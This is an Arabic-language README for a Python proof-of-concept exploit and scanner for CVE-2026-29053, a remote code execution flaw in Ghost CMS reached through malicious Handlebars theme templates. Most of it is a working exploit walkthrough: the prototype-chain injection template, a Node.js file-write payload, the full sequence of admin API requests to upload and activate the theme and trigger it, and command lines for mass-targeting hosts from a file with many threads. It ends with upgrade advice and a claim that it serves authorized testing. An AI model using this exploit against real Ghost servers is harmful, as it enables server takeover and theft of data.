
سكانر Python لإثبات المفهوم (PoC) وإصدارات الثغرة CVE-2026-29053، وهي ثغرة تنفيذ أوامر عن بُعد (RCE) بعد المصادقة في Ghost CMS الإصدارات الأقدم من 6.19.1 عبر قوالب Handlebars الخبيثة.
CVE-2026-29053، تؤثر على نظام إدارة المحتوى Ghost المبني على Node.js. الإصدارات من 0.7.2 إلى 6.19.0 معرّضة لهذه المشكلة. يمكن لقالب ضار استغلال هذه الثغرة وتنفيذ تعليمات برمجية عشوائية على الخادم الذي يعمل عليه Ghost. درجة خطورة هذه الثغرة عالية، بدرجة CVSS تبلغ 7.6. تم إصلاح هذه المشكلة في الإصدار 6.19.1. يمكن للمهاجم الذي يستغل هذه الثغرة بنجاح الحصول على وصول غير مصرح به إلى الخادم وربما السيطرة عليه. يمكنه بعد ذلك استخدام هذا الوصول للتلاعب بالبيانات أو سرقة معلومات حساسة أو القيام بأنشطة ضارة أخرى. المنتجات/الخدمات المتأثرة هي جميع إصدارات Ghost من 0.7.2 إلى 6.19.0. للتخفيف من هذا الخطر، يجب على المستخدمين تحديث تثبيتات Ghost الخاصة بهم إلى الإصدار 6.19.1 أو أحدث في أقرب وقت ممكن. سيضمن ذلك إصلاح الثغرة ولم تعد تشكل تهديدًا. إذا لم يكن التحديث ممكنًا في الوقت الحالي، يُنصح بمراقبة أي تطورات جديدة في هذه الثغرة عن كثب وتطبيق التدابير الأمنية اللازمة للحماية من الهجمات المحتملة. لا توجد هذه الثغرة حاليًا في كتالوج الثغرات المستغلة المعروفة (KEV) التابع لـ CISA، مما يعني أنها لم تُستغل بنشاط من قبل الجهات الفاعلة في التهديدات. ومع ذلك، يجب على المستخدمين إعطاء الأولوية لتحديث أنظمتهم لمنع أي مخاطر محتملة مرتبطة بهذه الثغرة.
برنامج PoC بلغة Python لـ CVE-2026-29053، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد في Ghost CMS ناتجة عن قدرة قوالب مصممة خصيصًا على تنفيذ JavaScript عشوائي أثناء عرض القالب.
المتأثر: Ghost
0.7.2حتى6.19.0المُصلح: Ghost6.19.1CWE: CWE-74 — التحييد غير السليم للعناصر الخاصة في المخرجات المستخدمة من قبل مكوّن لاحق
يصف إشعار Ghost المشكلة بأنها تنفيذ تعليمات برمجية عشوائية عبر قوالب ضارة.
تستخدم قوالب Ghost قوالب Handlebars (.hbs).
يمكن لقالب مصمم خصيصًا إساءة استخدام الطريقة التي يعالج بها Ghost تعبيرات Handlebars والوصول إلى وظائف JavaScript التي لا ينبغي أن تكون قابلة للوصول من قالب سمة عادي.
الجزء المهم من الاستغلال هو تعبير القالب:
{{#get "posts" filter="tags:{{page[?( ({__proto__:"".toString})["constructor"](https://github.com/k3ystr0k3r/cve-2026-29053/blob/main/%22%25PAYLOAD%25%22)() )]}}" limit="1"}}
{{/get}}
يتم إدراج الحمولة في القالب قبل حزم السمة الضارة.
يتم بعد ذلك رفع القالب الناتج وتنشيطه عبر Ghost Admin API.
عندما يعرض Ghost القالب المتأثر لاحقًا، يتسبب التعبير المُدرج في تنفيذ حمولة JavaScript داخل عملية خادم Ghost.
يُنشئ برنامج PoC أولاً جلسة Ghost Admin مُصادق عليها.
نقطة النهاية ذات الصلة هي:
POST /ghost/api/admin/session/
الطلب الذي ينشئه برنامج PoC يعادل:
POST /ghost/api/admin/session/ HTTP/1.1
Host: TARGET
Accept: application/json
Content-Type: application/json
Origin: http://TARGET
{
"username": "[email protected]",
"password": "PASSWORD"
}
يعيد Ghost ملف تعريف جلسة مُصادق عليه.
يتحقق برنامج PoC من HTTP 201 ثم يستمر في استخدام نفس كائن requests.Session().
ينشئ الاستغلال أرشيف ZIP يحتوي على سمة Ghost بسيطة.
الملفات المهمة هي:
malicious-theme.zip
├── default.hbs
├── index.hbs
├── page-rce.hbs
├── page.hbs
├── post.hbs
└── package.json
يُكتب القالب الضار في:
page-rce.hbs
يبني برنامج PoC الأرشيف بالكامل في الذاكرة باستخدام وحدة zipfile في Python.
يحدد package.json الناتج الأرشيف كسمة Ghost:
{
"name": "malicious-theme",
"description": "Minimal Ghost theme for CVE-2026-29053 authorized lab reproduction",
"version": "1.0.0",
"engines": {
"ghost": ">=5.0.0"
},
"license": "MIT"
}
الجزء المعرّض للثغرة في السمة هو تعبير Handlebars داخل page-rce.hbs.
ينشئ برنامج PoC:
{{!< default}}
<main class="lab-page">
<h1>CVE-2026-29053 trigger</h1>
<p>This page renders the malicious theme template.</p>
</main>
{{#get "posts" filter="tags:{{page[?( ({__proto__:"".toString})["constructor"](https://github.com/k3ystr0k3r/cve-2026-29053/blob/main/%22%25PAYLOAD%25%22)() )]}}" limit="1"}}
{{/get}}
%PAYLOAD% قبل ضغط السمة.يستخدم برنامج PoC الافتراضي حمولة كتابة ملف كإثبات غير مدمّر لتنفيذ التعليمات البرمجية.
ينشئ JavaScript يعادل:
var fs=process.getBuiltinModule('fs');
fs.writeFileSync(
'/tmp/cve-2026-29053-rce.txt',
'CVE-2026-29053 proof: /tmp/cve-2026-29053-rce.txt'
);
return 1
يوضح هذا أن الحمولة تُنفَّذ داخل عملية Ghost Node.js ويمكنها الوصول إلى وظائف Node.js.
يحتوي برنامج PoC أيضًا على وضع استدعاء اختياري لبيئات المختبر.
بمجرد إنشاء السمة الضارة، يرسلها برنامج PoC إلى:
POST /ghost/api/admin/themes/upload/
الطلب هو رفع نموذج متعدد الأجزاء.
من الناحية النظرية:
POST /ghost/api/admin/themes/upload/ HTTP/1.1
Host: TARGET
Accept: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION
Content-Type: multipart/form-data; boundary=------------------------BOUNDARY
--------------------------BOUNDARY
Content-Disposition: form-data; name="file"; filename="malicious-theme.zip"
Content-Type: application/zip
[ZIP ARCHIVE]
--------------------------BOUNDARY--
يحتوي الأرشيف على قالب .hbs الضار الموصوف أعلاه.
يتوقع برنامج PoC استجابة HTTP 200 ويستخرج اسم السمة المُعاد من استجابة JSON.
بعد رفع السمة، ينشطها برنامج PoC باستخدام:
PUT /ghost/api/admin/themes/THEME_NAME/activate/ HTTP/1.1
Host: TARGET
Accept: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION
يتم إنشاء نقطة نهاية التنشيط ديناميكيًا:
/ghost/api/admin/themes/{theme_name}/activate/
يتوقف الاستغلال إذا لم يُرجع Ghost استجابة HTTP 200.
ثم ينشئ برنامج PoC صفحة منشورة:
POST /ghost/api/admin/pages/ HTTP/1.1
Host: TARGET
Accept: application/json
Content-Type: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION
{
"pages": [
{
"title": "rce",
"slug": "rce",
"status": "published",
"html": "<p>rce</p>"
}
]
}
يستخدم الكود الـ slug:
/rce/
إذا كانت الصفحة موجودة بالفعل، فإنه يحاول استرداد الصفحة الموجودة بدلاً من ذلك.
المشغّل النهائي هو ببساطة:
GET /rce/ HTTP/1.1
Host: TARGET
Cookie: ghost-admin-api-session=SESSION
يتسبب هذا في قيام Ghost بعرض السمة النشطة.
يتحقق برنامج PoC من HTML المُعاد بحثًا عن:
CVE-2026-29053 trigger
لتأكيد أنه تم عرض page-rce.hbs.
التمييز المهم هو أن المهاجم لا يقتصر على إدراج HTML في صفحة.
يصبح الإدخال الضار جزءًا من قالب سمة Ghost Handlebars.
يتم بعد ذلك تفسير القالب بواسطة نظام العرض من جانب الخادم في Ghost.
يصل التعبير المصمم إلى وظائف JavaScript عبر سلسلة prototype/construction:
__proto__
↓
toString
↓
constructor
↓
Function(...)
↓
JavaScript يتحكم فيه المهاجم
يُنفَّذ JavaScript الناتج في عملية خادم Ghost.
يوضح برنامج PoC ذلك من خلال الوصول إلى وحدة fs المدمجة في Node وكتابة ملف على الخادم.
بتجميع تفاعل HTTP:
1. POST /ghost/api/admin/session/
└── المصادقة
2. POST /ghost/api/admin/themes/upload/
└── رفع malicious-theme.zip
3. PUT /ghost/api/admin/themes/<name>/activate/
└── تنشيط السمة الضارة
4. POST /ghost/api/admin/pages/
└── إنشاء /rce/
5. GET /rce/
└── عرض page-rce.hbs الضار
└── تعبير Handlebars
└── تنفيذ JavaScript
└── تأثير على مستوى نظام التشغيل
يحتوي برنامج PoC أيضًا على ماسح ضوئي.
يطلب:
GET /ghost/api/admin/site/ HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0
يتم تحليل الاستجابة بحثًا عن:
{
"site": {
"version": "6.19.0"
}
}
ثم يقارن برنامج PoC الإصدار بـ:
0.7.2 <= version <= 6.19.0
ويُبلّغ عن الإصدارات المطابقة على أنها معرّضة للثغرة.
يحدد الإشعار المنشور النطاق المتأثر بـ >= 0.7.2, < 6.19.1، مع 6.19.1 كإصدار مُصلح.
python3 exploit.py --target http://TARGET
مسار الإثبات الافتراضي هو:
/tmp/cve-2026-29053-rce.txt
يمكن تغييره بـ:
python3 exploit.py --target http://TARGET --proof-path /tmp/test.txt
إذا كانت إعدادات Ghost قد اكتملت بالفعل:
python3 exploit.py --target http://TARGET --skip-setup
يمكن توفير بيانات الاعتماد باستخدام:
--email
--password
يمكن توفير الأهداف من ملف:
python3 exploit.py --file targets.txt
عدد الخيوط:
python3 exploit.py --file targets.txt --threads 25
يتحقق الماسح الضوئي من نقطة نهاية موقع Ghost Admin ويقارن إصدار Ghost المُبلّغ عنه بالنطاق المعرّض للثغرة.
يسمح الاستغلال الناجح بتنفيذ JavaScript عشوائي داخل عملية خادم Ghost.
اعتمادًا على امتيازات عملية Ghost والحمولة المستخدمة، يمكن أن يؤثر هذا على:
يصنّف سجل CVE المنشور المشكلة على أنها قابلة للوصول عبر الشبكة ولكنها تتطلب امتيازات عالية وتفاعل المستخدم، مع تغيير النطاق.
قم بترقية Ghost إلى:
6.19.1+
يحدد إشعار ثغرة Ghost الإصدار 6.19.1 كإصدار مُصلح.
لا تقم بتثبيت سمات غير موثوقة.
يُقدَّم برنامج PoC هذا لأغراض البحث في الثغرات واختبار الاختراق المصرح به والأغراض التعليمية.